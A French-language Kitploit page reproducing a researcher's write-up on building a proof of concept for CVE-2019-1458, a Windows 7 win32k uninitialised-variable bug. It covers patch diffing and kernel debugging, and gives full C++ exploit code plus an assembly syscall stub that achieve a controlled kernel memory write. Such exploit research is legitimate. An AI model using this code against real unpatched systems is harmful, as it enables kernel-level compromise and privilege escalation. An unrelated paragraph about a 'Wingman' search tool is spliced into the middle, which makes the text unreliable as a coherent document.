Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2019-1458_POC — POC pour cve-2019-1458 | Kitploit
Outils/GitHubGitHub/piotrflorczyk/cve-2019-1458_poc
Analyse des VulnérabilitésExploitationRétro-ingénierieApprentissage et ÉducationExploitation de Binaires
GitHubpiotrflorczyk/cve-2019-1458_poc

cve-2019-1458_POC

POC pour cve-2019-1458

Voir le dépôt
181533il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2019-1458 : Du rapport 'exploité dans la nature' au POC

Introduction

En décembre, Kaspersky a publié un article de blog sur [une vulnérabilité 0-day exploitée dans la nature][1]. Cela a piqué mon intérêt car, bien qu'ils aient décrit le fonctionnement de l'exploit, ils n'ont fourni aucun POC dans leur analyse. C'est pourquoi j'ai décidé d'essayer d'écrire un POC pour cette vulnérabilité sur la base de l'article de Kaspersky et de l'analyse du correctif.
Ce post décrit mon parcours pour y parvenir.

Collecte d'informations :

La première chose a été de recueillir autant d'informations que possible sur cette vulnérabilité. En lisant l'article mentionné, j'ai extrait les informations suivantes :

  • La vulnérabilité est liée à la fonctionnalité de changement de fenêtre
  • Elle nécessite la simulation de pressions de touches ALT pour être déclenchée
  • Il doit y avoir deux appels à l'API non documentée NtUserMessageCall
  • Une fenêtre de changement spéciale doit être créée
  • Il y avait une référence à la fonction noyau win32k!DrawSwitchWndHilite

En outre, il y a une belle capture d'écran du code décompilé montrant certaines des choses listées précédemment. Plus précisément, cela montre : la création de la fenêtre de changement, un appel à une fonction nommée toggle_alt_key et plusieurs appels à NtUserMessageCall.

Télécharger l’outil

Partie du code d'exploit décompilé [Source de l'image][1]

Beaucoup d'informations utiles, mais cela ne décrit toujours pas exactement comment cette vulnérabilité fonctionne et comment la déclencher.

Diffing des correctifs

[Le module affecté était win32k.sys][2]. J'ai téléchargé les versions corrigée et non corrigée de ce module.
Pour Win7 x64, celles-ci étaient :

  • corrigé : KB4530692
  • non corrigé : KB4525233

Elles peuvent être téléchargées à partir du [Catalogue Microsoft Update][3]

Voici le résultat du bindiff comparant les deux versions

Comparaison win32k

Après avoir éliminé les fonctions liées à la fonctionnalité DebugHook, il ne nous reste vraiment que cette fonction légèrement modifiée InitFunctionTables()

Modifications de InitFunctionTables

Ce n'est définitivement pas le plus gros correctif qui soit.
Cela n'aidera pas à identifier immédiatement la cause racine de cette vulnérabilité. Mais il est intéressant de noter que certaines valeurs initiales pour les variables à *(gpsi+0x14E), *(gpsi+0x154), *(gpsi+0x180) ont été ajoutées. Il pourrait donc s'agir d'un bogue lié à une variable non initialisée.

Construction du POC - étape par étape

Dans cette section, je présenterai comment j'ai progressivement construit un POC qui déclenche cette vulnérabilité, tout en déterminant simultanément en quoi consistait réellement la vulnérabilité.

Par où commencer

Le diffing des correctifs n'a pas donné beaucoup d'informations utiles au début, donc je me suis principalement appuyé sur l'article de Kaspersky lors de la première phase de développement.
Pour avoir un bon environnement de test, j'ai préparé une VM Win7 SP1 x64 avec la dernière version vulnérable de win32k en cours d'exécution. En plus de cela, j'ai attaché Windbg à cette VM pour effectuer du débogage noyau et, ce faisant, j'ai également configuré le chemin du serveur de symboles.
J'ai commencé mon investigation en regardant win32k!DrawSwitchWndHilite qui était mentionné dans l'article. Il est appelé depuis deux endroits : xxxMoveSwitchWndHilite et xxxPaintSwitchWindow ; ce dernier a immédiatement attiré mon attention à cause des appels environnants GetKeyState/GetAsyncKeyState qui étaient mentionnés dans le rapport original. De plus, ces appels vérifient si la touche ALT est enfoncée.

Site d'appel intéressant pour DrawSwitchWndHilite
Appel à DrawSwitchWndHilite depuis xxxPaintSwitchWindow

En suivant ensuite les références croisées d'appels (xxxWrapSwitchWndProc->xxxSwitchWndProc->xxxPaintSwitchWindow->DrawSwitchWndHilite), j'ai découvert que le premier élément de cette chaîne est référencé dans InitFunctionTables, la fonction qui a été corrigée dans le correctif.

Ensuite, je me suis penché sur NtUserMessageCall à partir de la capture d'écran du code décompilé. Voici la déclaration de cette fonction```cpp NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOLEAN bAnsi)

root@kitploit:~
Exploit l'appelle avec `msg = 0x14` et `dwType = 0xE0`. Voyons ce que ça fait.```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;

printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
    printf("[-] Failed registering SploitWnd window class\n");
    exit(-1);
}

printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
    printf("[-] Failed to create SploitWnd window\n");
    exit(-1);
}
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0xE0, 1);

Ici, j'ai enregistré une classe de fenêtre simple et créé une fenêtre de cette classe. Ensuite, j'ai appelé NtUserMessageCall avec les mêmes paramètres que l'exploit. Pour voir ce qui se passe sous le capot, j'ai positionné un point d'arrêt kd> ba e 1 win32k!NtUserMessageCall et exécuté le code. Il y a pas mal d'appels à cette fonction, j'ai donc dû attraper le bon, mais ce n'était pas si difficile, c'était celui avec une pile d'appels très courte.

NtUserMessageCall
NtUserMessageCall

En parcourant le code, on voit qu'il appelle une fonction du tableau gapfnMessageCall, l'index est calculé en fonction de la valeur msg et vaut 0, donc l'appel est fait à NtUserfnDWORD

NtUserfnDWORD
NtUserfnDWORD

L'appel suivant est effectué en utilisant la valeur dwType, et maintenant le décalage gpsi vaut 0x40, et l'appel mène à xxxWrapSwitchWndProc (cette fonction est déjà apparue lorsque je vérifiais la chaîne d'appels de DrawSwitchWndHilite).
xxxWrapSwitchWndProc appelle simplement xxxSwitchWndProc.

xxxSwitchWndProc
xxxSwitchWndProc

Et c'est la fin, le code échoue ici, n'allant pas plus loin vers xxxPaintSwitchWindow, qui est là où nous voulons arriver en fonction de la valeur msg (0x14). Vérifions pourquoi.

Triggering correct path

Le code échoue à ce stade parce que, comme souligné sur l'image précédente, le fnid de notre fenêtre n'est pas égal à 0x2A0 (FNID_SWITCH) et le message que nous envoyons n'est pas égal à 1, donc nous finissons dans xxxDefWindowProc. Pour éviter ce scénario, nous devons appeler xxxSwitchWndProc avec fnid défini sur FNID_SWITCH, afin d'aller directement à l'instruction switch et plus tard à xxxPaintSwitchWindow.
Comment définir le bon fnid ? En fait, la même fonction le fait dans le premier bloc if, nous devons simplement échouer toutes les vérifications à l'intérieur pour atteindre l'instruction qui définit fnid.

Voici les conditions à remplir pour échouer les trois vérifications if :

  • fnid == 0 et cbwndExtra + 0x128 >= *(gpsi + 0x154)
    fnid est égal à 0 pour chaque fenêtre utilisateur nouvellement créée. *(gpsi+0x154) est égal à 0 dans win32k non patché ! Mais même s'il était défini sur 0x130, comme dans la version patchée, nous pourrions définir cbwndExtra à 8 ou plus et toujours contourner la première vérification.
  • msg == 1
    Peut être défini dans l'appel NtUserMessageCall. Bien qu'avec msg défini sur 1, le flux de contrôle passe par NtUserfnINLPCREATESTRUCT au lieu de NtUserfnDWORD, mais il aboutit toujours dans xxxSwitchWndProc
  • extraData == 0
    La taille de ExtraData peut être définie lors de l'enregistrement de la classe de fenêtre en utilisant le cbwndExtra mentionné. ExtraData est ajouté juste après la structure tagWND (j'ai ajouté ce champ à la structure tagWND dans IDA en tant que QWORD au décalage sizeof(tagWND), pour rendre le code décompilé un peu plus agréable). Sa valeur peut être définie avec un appel à SetWindowLongPtr.

Si toutes ces conditions sont remplies, le fnid de la fenêtre sera défini sur FNID_SWITCH.
Donc maintenant, nous devons appeler NtUserMessageCall deux fois, la première fois avec msg égal à 1 pour définir le fnid souhaité, et la deuxième fois pour atteindre xxxPaintSwitchWindow.```cpp HINSTANCE hInstance = GetModuleHandle(NULL); WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc

printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }

printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }

printf("[] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE/ = 1*/, 0, 0, 0, 0x0, 1);

printf("[] Calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND/ = 0x14*/, 0, 0, 0, 0x0, 1);

root@kitploit:~
J'ai ajouté `extraData` à la classe de fenêtre et ajouté un second appel à `NtUserMessageCall`. Le flux de contrôle peut maintenant atteindre `xxxPaintSwitchWindow`.
(Note : `dwType` n'a pas besoin d'être égal à `0xE0` ; `0` fonctionne tout aussi bien, car il est passé à l'opération ET avec `0x1F` de toute façon dans `NtUserfnDWORD`)

![xxxPaintSwitchWindow](https://assets.kitploit.com/production/public/readmes/30684/0a794f2d2af1e438ad43ce6f36921871ba04eeadeba67141388de7163ceaa0fa.png)
*`xxxPaintSwitchWindow`*

En y regardant de plus près, j'ai remarqué que la valeur `extraWndData` extraite de l'objet fenêtre (ligne 25) est utilisée comme pointeur pour écrire (lignes 46-52) ! Si je peux atteindre le code qui définit `extraWndData` à une valeur que je contrôle, je peux corrompre une mémoire arbitraire !  
Pour y parvenir, je dois d'abord passer quelques vérifications supplémentaires (marquées en rouge)

- Vérifier si la fenêtre a le drapeau `WS_VISIBLE` défini.  
Ce drapeau peut être défini dans `CreateWindowEx`
- `fnid == 0x2A0` et `cbwndExtra + 0x128 == *(gpsi + 0x154)`  
Fnid est déjà défini par le premier `NtUserMessageCall`.  
Le problème se pose avec la deuxième partie de cette vérification car `*(gpsi + 0x154)` n'est pas initialisé dans le module vulnérable `win32k`, donc cette vérification échouera toujours. À moins que nous définissions d'une manière ou d'une autre `*(gpsi+0x154)` à la valeur correcte. Il s'avère que la création d'une fenêtre spéciale de commutation, mentionnée dans l'article de Kaspersky, fait exactement cela.
- Vérifier si la fenêtre n'est pas détruite.  
Déjà satisfait dans ce cas.

Pour créer une [fenêtre de commutation][4] spéciale, nous devons appeler `CreateWindowEx` avec le nom défini à `0x8003` (`#32771`). Cela mènera finalement à l'appel de `InternalRegisterClassEx` dans le noyau.

![InternalRegisterClassEx](https://assets.kitploit.com/production/public/readmes/30684/899c70257bac4c26d99e4bfb6e14d024a586bc7fb3bc11cddb5f544409165092.png)
*fragment de la fonction `InternalRegisterClassEx`*

Cela initialisera `*(gpsi+0x154)` à `0x130`.
L'effet secondaire est qu'une fois cette variable définie, il n'y a aucun moyen de la réinitialiser à 0. Nous n'avons donc qu'une seule chance d'exécuter l'exploit. Toute autre tentative, jusqu'au prochain redémarrage, échouera.

### Contrôle de la valeur déréférencée

Je suis maintenant capable de contrôler `extraWndData` qui est ensuite déréférencé comme pointeur et écrit dans `xxxPaintSwitchWindow`. `extraWndData` peut être contrôlé en appelant```cpp
SetWindowLongPtr(HWND hWnd, int nIndex, LONG_PTR dwNewLong)

Une chose à garder à l'esprit est que cet appel doit être effectué après le premier appel à NtUserMessageCall, car comme cela a été montré, xxxSwitchWndProc a besoin que extraData de la fenêtre soit mis à 0 lors de ce premier appel, afin de contourner les vérifications nécessaires. De plus, SetWindowLongPtr doit être invoqué avant la création de la fenêtre de commutation, et voici pourquoi :

xxxSetWindowLong fragment de la fonction xxxSetWindowLong

C'est là que nous utilisons réellement la variable non initialisée *(gpsi + 0x154). Lorsque cette vérification réussit, nous définissons wnd->extraData sur une valeur arbitraire. Si cela avait été correctement initialisé, l'exploit échouerait ici.```cpp HINSTANCE hInstance = GetModuleHandle(NULL);

WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc

printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }

printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }

printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0x0, 1);

printf("[] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"); SetWindowLongPtr(sploitWnd, 0, 0x4141414141414); printf("[] GetLastError = %x\n", GetLastError());

printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"); HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);

root@kitploit:~
![Débogage de l'exécution réussie de l'exploit](https://assets.kitploit.com/production/public/readmes/30684/041723bb4c11895a5884059ccea0376d06d26056b4f0bac758dd712055b05b09.png)

Peu après, nous obtenons une vérification de bogue lorsque `rdi` est déréférencé.  
Exécution du même exploit sur windows corrigé :```
[*] Registering window
[*] Creating instance of this window
[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window
[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced
bold:[*] GetLastError = 585
[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130
[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time

SetWindowLongPtr échoue avec le code d'erreur 0x585 en raison de la bonne initialisation de *(gpsi + 0x154). Et le noyau ne plante pas.

Cause racine (récapitulatif)

Pour résumer, le problème principal était une variable non initialisée *(gpsi+0x154).
Mais quelle est cette valeur, pourquoi est-elle importante ?
gpsi est un pointeur global vers la structure [tagSERVERINFO][5]. Cette structure, entre autres choses, décrit les fenêtres système (c'est-à-dire menus, bureau, commutateur, etc.), par opposition aux fenêtres définies par l'utilisateur. Ces fenêtres système sont identifiées par leur FNID, par exemple 0x2A0 signifie fenêtre de commutateur.

Lorsque la classe de fenêtre est définie à l'aide de RegisterClassEx, nous avons l'opportunité de spécifier le champ cbWndExtra sur WNDCLASSEX. Ce champ décrit le nombre d'octets supplémentaires qui seront alloués en plus de la structure tagWND pour stocker certaines informations spécifiques à la fenêtre. Nous pouvons alors modifier ces octets supplémentaires à l'aide de SetWindowLongPtr. Les fenêtres système utilisent exactement le même mécanisme pour stocker les données supplémentaires dont elles ont besoin pour fonctionner. Mais en principe, ces données ne devraient pas être accessibles via SetWindowLongPtr. Et nous avons vu qu'il y a effectivement une vérification dans xxxSetWindowLongPtr qui devrait l'empêcher. Après avoir appliqué les informations de type, voici la vérification :``` if (nIndex >= gpsi->mpFnid_serverCBWndProc[(window->fnid & 0x3FFF) - FNID_FIRST] - sizeof(tagWND)) goto exit_with_error

root@kitploit:~
Le tableau `gpsi->mpFnid_serverCBWndProc` décrit la taille de l'objet fenêtre système donné, y compris les données supplémentaires.
`*(gpsi+0x154)` devient `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`
En laissant ce champ non initialisé, `xxxSetWindowLongPtr` considère que la taille des données supplémentaires est `-sizeof(tagWND)`, permettant ainsi d'écrire dans un champ qui devrait être privé à la structure de la fenêtre de commutation.

La cause racine de cette vulnérabilité était donc une variable non initialisée (ou plutôt initialisée à 0 par défaut) `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`.
Cela explique pourquoi le correctif était si petit. Il suffisait de la définir à `sizeof(tagWND) + 8`. De la même manière, d'autres éléments du tableau `mpFnid_serverCBWndProc` qui ne l'étaient pas auparavant sont désormais initialisés (`FNID_DESKTOP`, `FNID_TOOLTIPS`), probablement pour prévenir également de futures variantes de cette exploitation.

![InitFunctionTable avec types](https://assets.kitploit.com/production/public/readmes/30684/d7a41949abd8ce0e3d34f642c080b315d20edfb4e480db16f915759c5e375436.png)

## Corrompre la mémoire
Avec l'état actuel de l'exploit, nous pouvons déclencher un bugcheck, mais le crash se produit sur l'instruction :```asm
xxxPaintSwitchWindow + 0x8B:
cmp     [rdi+6Ch], r13d		; rdi = 0x4141414141414

La dernière étape de la préparation de cette POC serait alors de déclencher un crash plus utile ou, mieux encore, de corrompre un peu de mémoire sans planter du tout.

Pour atteindre ce dernier objectif, nous devons :

  • Fournir un pointeur valide vers une mémoire RW.
    Je choisis d'allouer un peu de mémoire en utilisant VirtualAlloc et de passer le pointeur retourné à SetWindowLongPtr
  • Simuler la pression de la touche ALT.
    Comme noté précédemment, il y a des appels à GetKeyState/GetAsyncKeyState dans xxxPaintSwitchWindow qui vérifient si la touche ALT est enfoncée. Et si ce n'est pas le cas, la fonction se termine.
    Le choix d'utiliser GetKeyState ou GetAsyncKeyState est déterminé par un indicateur dans [extraWndData+6Ch]. Je choisis de simuler la pression de la touche ALT en appelant SetKeyboardState. Cela ne fonctionnera qu'avec GetKeyState, donc je dois définir la valeur à l'offset 0x6C à `1````cpp ptr = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); SetWindowLongPtr(sploitWnd, 0, ptr);

BYTE keyData[256]; GetKeyboardState(keyData); keyData[VK_MENU] |= 0x80; // simulate ALT SetKeyboardState(keyData);

((BYTE*)ptr)[0x6c] = 1; // force use of GetKeyState inside xxxPaintSwitchWindow

root@kitploit:~
Avec ce code, j'ai eu un crash différent```asm
DrawSwitchWndHilite + 0x10A:
mov     rcx, [r12+20h]
mov     dl, 1
mov     rcx, [rcx]		; rcx = 0

Donc je fournis également un pointeur valide à l'offset 0x20 (qui pointe vers lui-même)```cpp ptr[0x20 / sizeof(*ptr)] = ptr; // make double derefence succeed

root@kitploit:~
Maintenant, l'exploit fonctionne sans planter, et quand on examine le contenu de la page allouée, on voit qu'elle a été modifiée !

![Memory content](https://assets.kitploit.com/production/public/readmes/30684/08b7865f524a983ea91bda161f8356a75b0ca1a1c070eecd9950592ff23629ec.png)

Nous avons obtenu un POC d'exploit stable qui corrompt la mémoire qui lui est fournie. C'est une bien meilleure situation qu'un POC qui plante lors de la lecture mémoire, car cette corruption mémoire arbitraire peut être plus facilement transformée en lecture/écriture arbitraire du noyau. De plus, nous avons déjà extrait les conditions que la mémoire à corrompre doit remplir.

## Conclusion
Dans cette démonstration, j'ai présenté comment je suis passé de la description de l'exploit et de la vulnérabilité à un POC fonctionnel qui peut être transformé en un exploit noyau utile.
C'était un exploit assez intéressant qui était possible à cause d'une ligne manquante. Donc, je suppose que la leçon à retenir est de toujours initialiser vos variables globales.

## POC``` cpp
#include <cstdio>
#include <windows.h>

extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);

int main() {    
    HINSTANCE hInstance = GetModuleHandle(NULL);

    WNDCLASSEX wcx;
    ZeroMemory(&wcx, sizeof(wcx));
    wcx.hInstance = hInstance;
    wcx.cbSize = sizeof(wcx);
    wcx.lpszClassName = L"SploitWnd";
    wcx.lpfnWndProc = DefWindowProc;
    wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0
   
    printf("[*] Registering window\n");
    ATOM wndAtom = RegisterClassEx(&wcx);
    if (wndAtom == INVALID_ATOM) {
        printf("[-] Failed registering SploitWnd window class\n");
        exit(-1);
    }

    printf("[*] Creating instance of this window\n");
    HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
    if (sploitWnd == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create SploitWnd window\n");
        exit(-1);
    }

    printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
    NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);

    printf("[*] Allocate memory to be used for corruption\n");
    PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    printf("\tptr: %p\n", mem);
    PBYTE byteView = (PBYTE)mem;
    byteView[0x6c] = 1;             // use GetKeyState in xxxPaintSwitchWindow

    //pass DrawSwitchWndHilite double dereference
    PVOID* ulongView = (PVOID*)mem;
    ulongView[0x20 / sizeof(PVOID)] = mem;

    printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
    SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
    printf("[*] GetLastError = %x\n", GetLastError());

    printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
    HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

    printf("[*] Simulating alt key press\n");
    BYTE keyState[256];
    GetKeyboardState(keyState);
    keyState[VK_MENU] |= 0x80;
    SetKeyboardState(keyState);

    printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
    NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}

Looks great! Now, when Wingman searches for the s flag, it can find it in files almost instantly no matter how large.

The more tools you add, the faster and more powerful Wingman gets when performing tasks for you.

I will be adding support for fuzzy searching soon as well!

Using Wingman with Access Control

If you want to only enable certain Wingman tools for certain users, you can do that with your Wingman config file. Simply change the userAccess property to your desired access type (ALL_PROGRAMS, LOCAL_ONLY, or RESTRICTED), and if you choose RESTRICTED you can pass a restrictedPrograms array to specify which tools a user can use.

If no config file is found, Wingman will default to LOCAL_ONLY.


Currently working on Agentic Chatbot functionality!


If you have an idea for a tool you'd like to see in Wingman, feel free to open an issue and I'll add it as soon as I can!```asm _DATA SEGMENT _DATA ENDS _TEXT SEGMENT

PUBLIC NtUserMessageCall NtUserMessageCall PROC mov r10, rcx mov eax, 1007h ; Win7 sp1 syscall ret NtUserMessageCall ENDP _TEXT ENDS END

root@kitploit:~
[1]: https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/
[2]: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1458
[3]: https://www.catalog.update.microsoft.com/Home.aspx
[4]: https://docs.microsoft.com/en-us/windows/win32/winauto/switch-window
[5]: https://www.reactos.org/wiki/Techwiki:Win32k/SERVERINFO
[6]: https://media.paloaltonetworks.com/lp/endpoint-security/blog/the-case-for-smep-exploiting-a-kernel-vulnerability.html